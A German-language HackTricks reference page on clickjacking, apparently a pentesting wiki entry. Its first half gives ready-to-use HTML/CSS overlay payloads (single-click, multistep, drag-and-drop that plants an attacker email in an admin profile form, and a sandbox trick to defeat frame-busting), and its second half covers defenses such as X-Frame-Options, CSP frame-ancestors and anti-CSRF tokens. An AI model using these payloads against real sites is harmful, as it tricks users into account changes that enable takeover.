Clickjacking

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

Verwende Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Erhalte heute Zugang:

Was ist Clickjacking

Bei einem Clickjacking-Angriff wird ein Benutzer getäuscht, indem er auf ein Element auf einer Webseite klickt, das entweder unsichtbar oder als ein anderes Element getarnt ist. Diese Manipulation kann zu unbeabsichtigten Konsequenzen für den Benutzer führen, wie z.B. dem Herunterladen von Malware, der Weiterleitung zu bösartigen Webseiten, der Bereitstellung von Anmeldedaten oder sensiblen Informationen, Geldtransfers oder dem Online-Kauf von Produkten.

Vorab ausgefüllte Formulare

Manchmal ist es möglich, den Wert von Feldern eines Formulars mit GET-Parametern beim Laden einer Seite auszufüllen. Ein Angreifer kann dieses Verhalten ausnutzen, um ein Formular mit beliebigen Daten auszufüllen und die Clickjacking-Nutzlast zu senden, damit der Benutzer die Schaltfläche "Absenden" drückt.

Formular mit Drag&Drop ausfüllen

Wenn du möchtest, dass der Benutzer ein Formular ausfüllt, aber ihn nicht direkt bitten möchtest, bestimmte Informationen (wie die E-Mail-Adresse oder ein spezifisches Passwort, das du kennst) einzugeben, kannst du ihn einfach bitten, etwas zu Drag&Drop, das deine kontrollierten Daten eingibt, wie in diesem Beispiel.

Grundlegende Nutzlast

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Multistep Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click-Payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Wenn Sie einen XSS-Angriff identifiziert haben, der erfordert, dass ein Benutzer auf ein Element klickt, um den XSS auszulösen und die Seite anfällig für Clickjacking ist, könnten Sie dies ausnutzen, um den Benutzer zu täuschen, auf die Schaltfläche/den Link zu klicken. Beispiel: Sie haben einen self XSS in einigen privaten Details des Kontos gefunden (Details, die nur Sie festlegen und lesen können). Die Seite mit dem Formular, um diese Details festzulegen, ist anfällig für Clickjacking und Sie können das Formular mit den GET-Parametern vorbefüllen. __Ein Angreifer könnte einen Clickjacking-Angriff auf diese Seite vorbereiten, indem er das Formular mit der XSS-Nutzlast vorbefüllt und den Benutzer dazu bringt, das Formular abzusenden. Wenn das Formular also eingereicht wird und die Werte geändert werden, wird der Benutzer den XSS ausführen.

Strategien zur Minderung von Clickjacking

Client-Seitige Abwehrmaßnahmen

Skripte, die auf der Client-Seite ausgeführt werden, können Maßnahmen ergreifen, um Clickjacking zu verhindern:

  • Sicherstellen, dass das Anwendungsfenster das Haupt- oder oberste Fenster ist.

  • Alle Frames sichtbar machen.

  • Klicks auf unsichtbare Frames verhindern.

  • Benutzer über potenzielle Clickjacking-Versuche informieren und warnen.

Diese Frame-Busting-Skripte können jedoch umgangen werden:

  • Sicherheitseinstellungen der Browser: Einige Browser könnten diese Skripte basierend auf ihren Sicherheitseinstellungen oder mangelnder JavaScript-Unterstützung blockieren.

  • HTML5 iframe sandbox Attribut: Ein Angreifer kann Frame-Buster-Skripte neutralisieren, indem er das sandbox-Attribut mit den Werten allow-forms oder allow-scripts ohne allow-top-navigation festlegt. Dies verhindert, dass das iframe überprüft, ob es das oberste Fenster ist, z.B.,

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

Die allow-forms und allow-scripts Werte ermöglichen Aktionen innerhalb des iframes, während die Navigation auf der obersten Ebene deaktiviert wird. Um die beabsichtigte Funktionalität der angegriffenen Seite sicherzustellen, könnten zusätzliche Berechtigungen wie allow-same-origin und allow-modals erforderlich sein, abhängig von der Art des Angriffs. Nachrichten in der Browser-Konsole können Hinweise darauf geben, welche Berechtigungen erlaubt werden sollen.

Serverseitige Abwehrmaßnahmen

X-Frame-Options

Der X-Frame-Options HTTP-Antwortheader informiert Browser über die Legitimität der Darstellung einer Seite in einem <frame> oder <iframe>, um Clickjacking zu verhindern:

  • X-Frame-Options: deny - Keine Domain kann den Inhalt einrahmen.

  • X-Frame-Options: sameorigin - Nur die aktuelle Seite kann den Inhalt einrahmen.

  • X-Frame-Options: allow-from https://trusted.com - Nur die angegebene 'uri' kann die Seite einrahmen.

  • Beachten Sie die Einschränkungen: Wenn der Browser diese Direktive nicht unterstützt, funktioniert sie möglicherweise nicht. Einige Browser bevorzugen die CSP frame-ancestors Direktive.

Content Security Policy (CSP) frame-ancestors Direktive

Die frame-ancestors Direktive in CSP ist die empfohlene Methode zum Schutz vor Clickjacking:

  • frame-ancestors 'none' - Ähnlich wie X-Frame-Options: deny.

  • frame-ancestors 'self' - Ähnlich wie X-Frame-Options: sameorigin.

  • frame-ancestors trusted.com - Ähnlich wie X-Frame-Options: allow-from.

Zum Beispiel erlaubt die folgende CSP nur das Einrahmen von derselben Domain:

Content-Security-Policy: frame-ancestors 'self';

Weitere Details und komplexe Beispiele finden Sie in der frame-ancestors CSP-Dokumentation und in der CSP frame-ancestors Dokumentation von Mozilla.

Content Security Policy (CSP) mit child-src und frame-src

Die Content Security Policy (CSP) ist eine Sicherheitsmaßnahme, die hilft, Clickjacking und andere Code-Injektionsangriffe zu verhindern, indem sie angibt, welche Quellen der Browser zulassen soll, um Inhalte zu laden.

frame-src Direktive

  • Definiert gültige Quellen für Frames.

  • Ist spezifischer als die default-src Direktive.

Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Diese Richtlinie erlaubt Frames von derselben Herkunft (self) und https://trusted-website.com.

child-src Direktive

  • Eingeführt in CSP Level 2, um gültige Quellen für Web-Worker und Frames festzulegen.

  • Dient als Fallback für frame-src und worker-src.

Content-Security-Policy: child-src 'self' https://trusted-website.com;

Diese Richtlinie erlaubt Frames und Worker von derselben Herkunft (self) und https://trusted-website.com.

Nutzungsnotizen:

  • Abwertung: child-src wird zugunsten von frame-src und worker-src schrittweise eingestellt.

  • Fallback-Verhalten: Wenn frame-src fehlt, wird child-src als Fallback für Frames verwendet. Wenn beide fehlen, wird default-src verwendet.

  • Strikte Quelldefinition: Nur vertrauenswürdige Quellen in den Direktiven einbeziehen, um Ausnutzung zu verhindern.

JavaScript Frame-Breaking Scripts

Obwohl nicht völlig narrensicher, können auf JavaScript basierende Frame-Busting-Skripte verwendet werden, um zu verhindern, dass eine Webseite in einem Frame angezeigt wird. Beispiel:

if (top !== self) {
top.location = self.location;
}

Verwendung von Anti-CSRF-Token

  • Token-Validierung: Verwenden Sie Anti-CSRF-Token in Webanwendungen, um sicherzustellen, dass zustandsverändernde Anfragen absichtlich vom Benutzer und nicht über eine Clickjacked-Seite vorgenommen werden.

Referenzen

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Zugang heute erhalten:

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks unterstützen

Last updated